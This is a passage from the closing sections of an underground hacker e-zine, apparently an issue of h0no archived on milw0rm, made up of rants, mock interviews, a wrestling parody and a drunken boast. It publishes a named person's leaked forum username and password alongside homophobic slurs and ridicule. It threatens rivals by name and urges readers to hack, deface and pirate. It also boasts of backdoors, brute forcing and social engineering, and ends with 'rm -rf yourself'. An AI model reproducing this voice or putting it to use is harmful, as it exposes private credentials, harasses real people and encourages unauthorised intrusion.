was a serial rapist, who didnt kill, just raped, and had only some evidence on him, he would
probably only go to jail for 1-2 years or even less. How do you fucking compare that to a hacker?
How can you do this? That is disgusting. Thats like jailing an explorer for going into a
diamond mine and arresting him for it. Thats like jailing a student for wanting to learn. Its
horrid how the world works. But this is life. This is our crazy fucked up world.
In conclusion. All i want to say is that i hope whoever fully read this understands what
scum is controlling us all. Physically, Psychologically, Privately and more than ever, Mentally.
Live free. Hack away. Boycott all. Download music. Pirate software. and anything else that you want.
This is YOUR country. Hacking, Boycotting, Downloading Music and Pirating is not even close to
what The United States Government have done. And i myself am an American saying this. No wonder
you see Zone-H defacements dissing Bush and The United States. The brazillians all know what's
going on.
Bash Histfile:
Crappy english, poor knowledge of networks and protocols and stupid concepts which produces an article that
stretches beyond the realms of the ridiculous. The last line really puts the turd in the toilet:
"The brazillians all know what's going on." Bwahahaahaha!!
We feel sorry for the notepad that had to endure that ascii pillage. So why did you write an article that
looks like its been written by someone who has just bought they're first computer by Fisherprice?
Atomix:
That article is leet! no ifs no buts! even tal0n printed it out and revised all the words then rolled it into
a cone and stuck his cock through it. The brazilians know whats going on man, all my movies sell there!
mwaaah to all brazilian butt munchers
Bash Histfile:
Dear me, just a side note: if anyone wants to see Atomix's elite defacements then look no further
http://www.zone-h.org/en/defacements/filter/filter_defacer=atomix/ ... watch out Fluffy Bunni you have
competion!. Finally we would like you to tell us if your a faggot or not. This email was sent to you when
you signed up for a gay forum:
Usename/Parola - uitate Inbox Other
iOL anunturi <webmaster@gaybucuresti.ro> to me
More options Aug 14
Buna joejoe
Username-ul tau este : joejoe
Parola ta este : ix2HC
Te rugam sa te loghezi la http://www.gaybucuresti.ro/iol/iol/login.php
ATENTIE: Dupa logare va trebui sa iti setezi profilul si sa introduci
toate datele cerute, altfel, acesta va fi sters in 5 zile !.
Toate cele bune,
www.GayBucuresti.ro Team
ReplyForwardInvite iOL to Gmail
Atomix:
Hahaha, dont knock it till you try it! beam me up scotty so i can suck the cock of mr spock =)
Bash Histfile:
HAHA, and with that im afraid that we have reached the end of the show. Join us next time when we will be
swooping through the inboxes of narqs, whitehats , and IT Sec faggots. I've been Bash Histfile, Atomix has
been owned and you have been targeted for the next show, goodbye!
26.txt-~-~-~ pROjeCKt "HeY MaM!"
hOwdY my HulkAManiaCs iM baCk iN thE SqUAred CirCle eveN thOUgH eyE aM fiFTY yEaRS oLD, eYE aM bAcK tO shOW
yoU yoUNg PunKS hoW aN oLDsKEwlER piLE DriVES aLL thOSe WannABEEZ ouT thERe That wannA tAke My heAVY wEiGhT
BelT! So maNy PunkZ tOdaY thAT trY to WaLK thE wAlk, chEST oUt, hEad UP, dICK lIMp, ooOOoh No BrOTHA thAT rOLE
iS reSErvED foR mE!, thE hulKStER, thE huLKStER demANdZ rEsPECK! sO maNY punKZ tHAT waNnA tasTE thE pOweR oF
HulkAMANiA and ALl ThE HulkAMANiACZ! EsPecIALLy thOSe "HeY MaM!" dUdEZ..oooOoh BrothA eYE wILL ClotHESlYnE YoU
anD clImB uP on The ToP RopE anD LauNCH my 303lB boDy eLBoW fiRsT onTo YoUr skINNy riBCaGE , oooH yeAH bROThA!
thE HulKstER iS talKInG tO yoU proJECt "HeY MaM!" boYS, eyE wiLL thROw YoU agAINsT thEM rOpeS And makE yoU
boUnCE bAq onTo mY 24" pytHOnS oH yeH brOTha! buT beFOrE thAT eyE waNT YoU tO traIN ,eyE waNT yoU tO lEarN,
eyE wanT yoU tO swEAt liKE a faT gIrLS thIGhs, thEN eyE wanT yoU tO lOoK iN thE miRroR anD aSk yOUr sElf
"Am eyE gOoD enOUgH to tuSslE wiTH thE hUlkSTEr,hIs HulkaManiACS and thE powER of hulKaMANiA??!!!!!!!!!!!!!?!"
anD iPh YoU thInk yoUR seLF worTHy tO stEp in thE riNG wiTh ThE huLKStER thEN the PowER of HulkAmanIA wilL
riDE alL oVEr YoU, oh yEH thE 24" pyTHoNS wiLL grAb Hold Of yoU anD puT yoUR aSs iN thE aIR anD boDY slAM yoU
anD yoUR whOLe pROjeCKt "HeY MaM!" oNTo thE canVAS!!oh yEH brOTHER eyE cAn SeE thAT, prOjeCkT "HeY MaM"-
BODY SLAMMED by thE hULKsteR, tHE croWD wiLL gO wiLD whEN alL mY hulkAmANiaCS rUn AlL ovER yoU hAha.
So,thE hUlkStEr waNTs yOU tO thINk, hE wANtS yoU tO lisTeN, hE wanTS yOU tO taKE a GoOD lOok aT hiS 24"
pyThoNS anD prePAre YoUR seLF foR huLKaMANIA broTHa! iPh yoU tuSsLE wiTH thE huLKstER thEN yoU TusSle with
ALL mY HulkAmaNIAcz AcRoSs ThE woRLD , WE ArE aLL One biG bICEP in thiS sqUarED CirCLE ooh YeAH bROthA wE
ArE! thATS HulKAmanIA! tO aLL yoU wannABEEz ouT ThErE thE hUlkStER wAntZ yOu To gO tO yoUR mOMmA AnD AsK hER
to MaKE rOoM in Her WomB foR yoU bECaUsE thATS exACTlY wHErE thE hulKstER will puT yoU ipH yoU deCIdE to
graPplE witH mE anD mY hULkamANiACZ!
aNd NoW.....
tO aLL mY h4x0RiNg hUlkaMaNIacZ, SAy yOUr pRAyers OvER YA rOOTs , tAKe YouR ViTAmiNZ AnD prEPARE tO puLL thE
skIRTS uP oF ALLL proJECt "HeY MaM!" b1tCHES!! fOLLow thE hULKsteR anD huLKAmANIA anD witNESS thE pOWEr oF mY
24" pyTHonS riP oFf thE NutZ oFf yoUR scRAWNy bodY!! , uSE yoUR timE poSitiVLEY and foLLoW thE reST of My
hUlkaMaNIacZ or ELse yoU wiLL haVe troUBle oN yoUR cuM staINeD handZ COS wATcHA GonnA dO whEN thE hUlkaMaNIacZ
ruN alL ovER yOU!!!!!!!!!!!!!!!!!!!!!!! iLL bE waTCHin thE evENTs oF thiS yrS suMMeR slAM BrothA, tHE hulKStER
is AlwAYS prESeNT , thE hulkStER donT TaKE nO foR an AnswER , sO whEN thE hulkSTeR sayS "eYe WanT yoUR beLT"
tHE hUlksTERexpECTS yoU tO haND it OVeR and Say ThaNK yoU to HIm, i demAND ReSPeCK, oR elSE ilL inTRoDUce You To mY 24"
pyTHONZ!! yeaaaaaaAAAAAAAAAAAAAAAAAAAAHHH bRotHHHHHAAAAAAAAAAaaaaAA!
27.txt-~-~-~ h0no h1tz th3 b0ttl3
I know kphp and C++. java is taught to me, bu it suckz real bad. 3y3
y4m n0t a p1nkh4t. grab your right one, mke your left one jelous.
buttt sqeezing. even if I am druk I can ./h0no-0dayz-f04-th3-m4mb0
y0ut ass. or atleast call up how-dark and ask him for phpbb warez.
he is so fucking tight. omfgrofl, I think I want to have his hcild.
can you belive it???? he published 0dayz for phpbb!??!!!!@ h0w c00ol.
fucking regex expression modifierz!!!@# who the fuck can remember wat
wall of them do?> haha, yo quario taco bell! challupas upreme. I
think the spanish cannot claim to be security people. They are owned
so bad by those .net blackhatz. You think your safe all you fucks..
haxorcitos>? You think your confort of loggin gon for so long without
incident meanz I dont have your password?? you think you can trust
your host? Itz nutz...... even in today we can get into like every
public wh13hat host there is. Just fuco we just ask for password and
they give it. Now we backing audit some shit or ask them for their
password and they give it. They are so stupid. I hate immunix and
all those fucking whitehat fuckz who are friends with them.. Skdor
their shit and they dont even question it. THEY DONT EVEN KNOW
BASIC PROGGRAMING PRINCICLES. OMFG, THEY ARE LAME. I think BoW is
grate, but why was it so fucking lame. They should of have u4ea write
all the articlez. fuck pluviousz, h3 i s so fucking owned in a
miliion places.. sue cina? wtf? way to go brotherhoood. I know
u43ra was hacking mad shit, but he chould of spent atleast a miniute
writting for the sake of history. And tr08ut got pbusted, what a
lamer. dooing even managed to keep clean, and he fucking supoortz
this shit. sorry, I ment some other guy from the lowlevel. maybe the
vax asm cr3w over at openvms. y0 m00gz, you know we got the bliss
memory mismanagment h000dayz. I think someone should rm -rn class101.
His dumb ass admins give away his password to like vevery one, but
everyon cannot find his login, and I think they are still vulnerable
t o that phpbb shit I said eailrer. They run winzodz so they cann0t
for k a process. HAHA. they would be so owned with ssl cmd shell and
shatter attackz. T0 CL4SS101 4ND H1S DUMB4SS H4T-SQUAT: 3Y3 W1LL 0WN
Y0U W1LTH IE 0DAYZ!@# FUK ing tablez cauze e4sy st5ck 0v4rfl0wz.
0k, 3y3 4m s0 fuckng drunk 3y3 w0uld l1ke t0 g1v3 4 sh0t 0ut t0 my
0nly r33l h4ck3r fr1n3dnz n0t 1n h0no, fuck 1y3 f0rg0t h1s n4m3.
4ny22yz. @busgtraw.oorg and t0 rfp. fuck that wh1t3hat sh1t m4n,
com3 join h0no.. we'll own s0m3 0 f th0s3 fr5nch s3cur1ty c0nsult1ntz
wh0 qqh3r3 1n 4dm. 3y3 kno2 th3y 4r3 n4rkcz. 333y3 g0t a b1g java
pr0j3ct th4t my b0sss s4yz 1s du3 t0m022rr02, but 1y3 th1nk h3 4nd my
bu1tth0le c0w0rkz34rz c4n w41it t1ll m0nday t - 0 ge4t thate fil1az.
haha, I us3de red-rand-black trees and we werent efeven using
th4t tshit. inst3ad I ow2n3e some fuc1kng ccc.de b0xdez wi1ht th3
backd00rsz fuck1ng fr0m th4t w1fki shi1t. th3ir1r fuc1k1ngf043nsrics
te3man c0uldnt even3 n0t1c3 0ur 1n3td backd00rz 0n 2 b0xz. h0 man,
/I cnn0t b3l3f3 h0 w drunk 3y3 I get21tng, ey3 th1nk u///ki w1ll
fuc1k b0g 1n 1t's php scr1pt. tr3ss know0z 3y3 gt0t th3 0dayhz. but
th3y ar3 c00ol s9 I dw0nt d0 4nyth1ng b3s1xdez pr0m0t3 cdc 0r
s3ccu1fity-prc0cal3z.0rg/com r0 wha4t 3fvf43r th3 fufkc 1t 1z. 3g3
w1zh g0bbl3z d1d def4c33mntz zt1lllzz. th31ir sh1t 3=was 10x bett3r
th3n fuck1ng fluffy bunnfnie shi1t. fuck th4 analo0g.org fuckqrwz..
kn0w y0u r xss sh1t d00dz. llllllllllll is your son young and
rebelious??? jhe may be a hacker!!?!? 5x mor4 dangerous than y0urr
normnaal hack3r wnannabe. more ditroibuted than the= cure for
cancerer. I thuink I have revelied that ey3 4m fr0m n0rw3y. h3r3
are a few thinngz t0 knw... 1. do nowt woory about thn1ngsz & hack.
alot! aft3r th5t d0nt rf0rg3t th4t th1ngz l1k3 brut3 f0rc3 & thn1gz
like s0c1al 3ngin33r1ng w0rk1!! 33y3y h0p3 0nly blavvckhatz read
th1s f4r 0r 3ls3 th3y mi1ght secur th3 n3tw0rkz th3t h0ldt0g3t3r th`a
c0untery. 33y3 a34m r3llay g0nig t0 pa3ss 0ut..... but1 I thn1k ey3
w1ll t3ll y0u th4t pr1m3 nubm3erz 4r3 v3ry 1mp0rt3nt!!!!! s0 4r3
c0l1z0nz w1thz ts4m3 f1lf3 s1z3.... fuc.. s0 1s def4c1ng. g0
m4ssdef4c3 hs1t f0r n0 r34s0nl. fuckk fy0u fbi. 3y3 w1lll 1ns1ght
cr1me3z fr0r n0 r43s0n. && qquyit 1ddl1ngz ande h4cc ss0mthqn..
h4ck h2n y0jr drun1k, h4ck w1hn y0uare at5 sch00l. aned even hack
wh3hn y0u ar3 1n c0urt. *(watch3z= emb4edded systt3msz = fr3m0te
c0ntr0ol.) omffgpunkonthefloor.. 3h3 cn4nnt0 b4li1f3 that th3y ar3
pl3yi1ng th3`s 3m31n3m s0ng 4ng41n! b33r g0ggl3z bl2nd! butt str33tz
n4k23ed. 0k,z s0m3dw0ne ple3sase ta3k 2wasy my c0mp3ur.
g00dbve h0no r4adeer3z!!!@
28.txt -~-~-~ 0utr0
Hello you fucking muskratz. I know after this issue you should be
fearing the ever growing h0no reach. Anyone that steps up will get
knocked the fuck down by h0no and our zone-h posse. bx talked shit,
he's fucking dead. atomix talked shit, I doubt we'll see his child
molested ass around much longer. Cyberarmy hatez blackhats, well we
own you. sly tried to DoS us, he getz fucking canned. And after all
this thor thinks he's gonna remove our access to his milf site. FUCK THAT.
We own your security modules, we own your cellphone, we own your bnc, we
own your shell, we own your email, we own your fucking bind, ntp, and
dhcp. You Are Not Safe. We audit every fucking snipplet of code we
can get our grubby little handz on, we fucking check every file on your
box for bad permissions. We'll spend a week brute forcing your
grandma'z pop3 account. Then fucking read through every single mail in
her arthritis mailing list till we find your password mentioned. Learn
to live in fear, learn to use encryption, learn to wipe data multiple
times, learn to not trust the internet, learn to fear h0no. We will
only warn you once.
This will be the last issue of h0no. All members have quit hacking
and left the internet.
thankz to darknet for the chatz, anonymous paradox for the guidence
and wisdom, and zone-h for the 0dayz!
rm -rf yourself.
# milw0rm.com [2006-10-02]
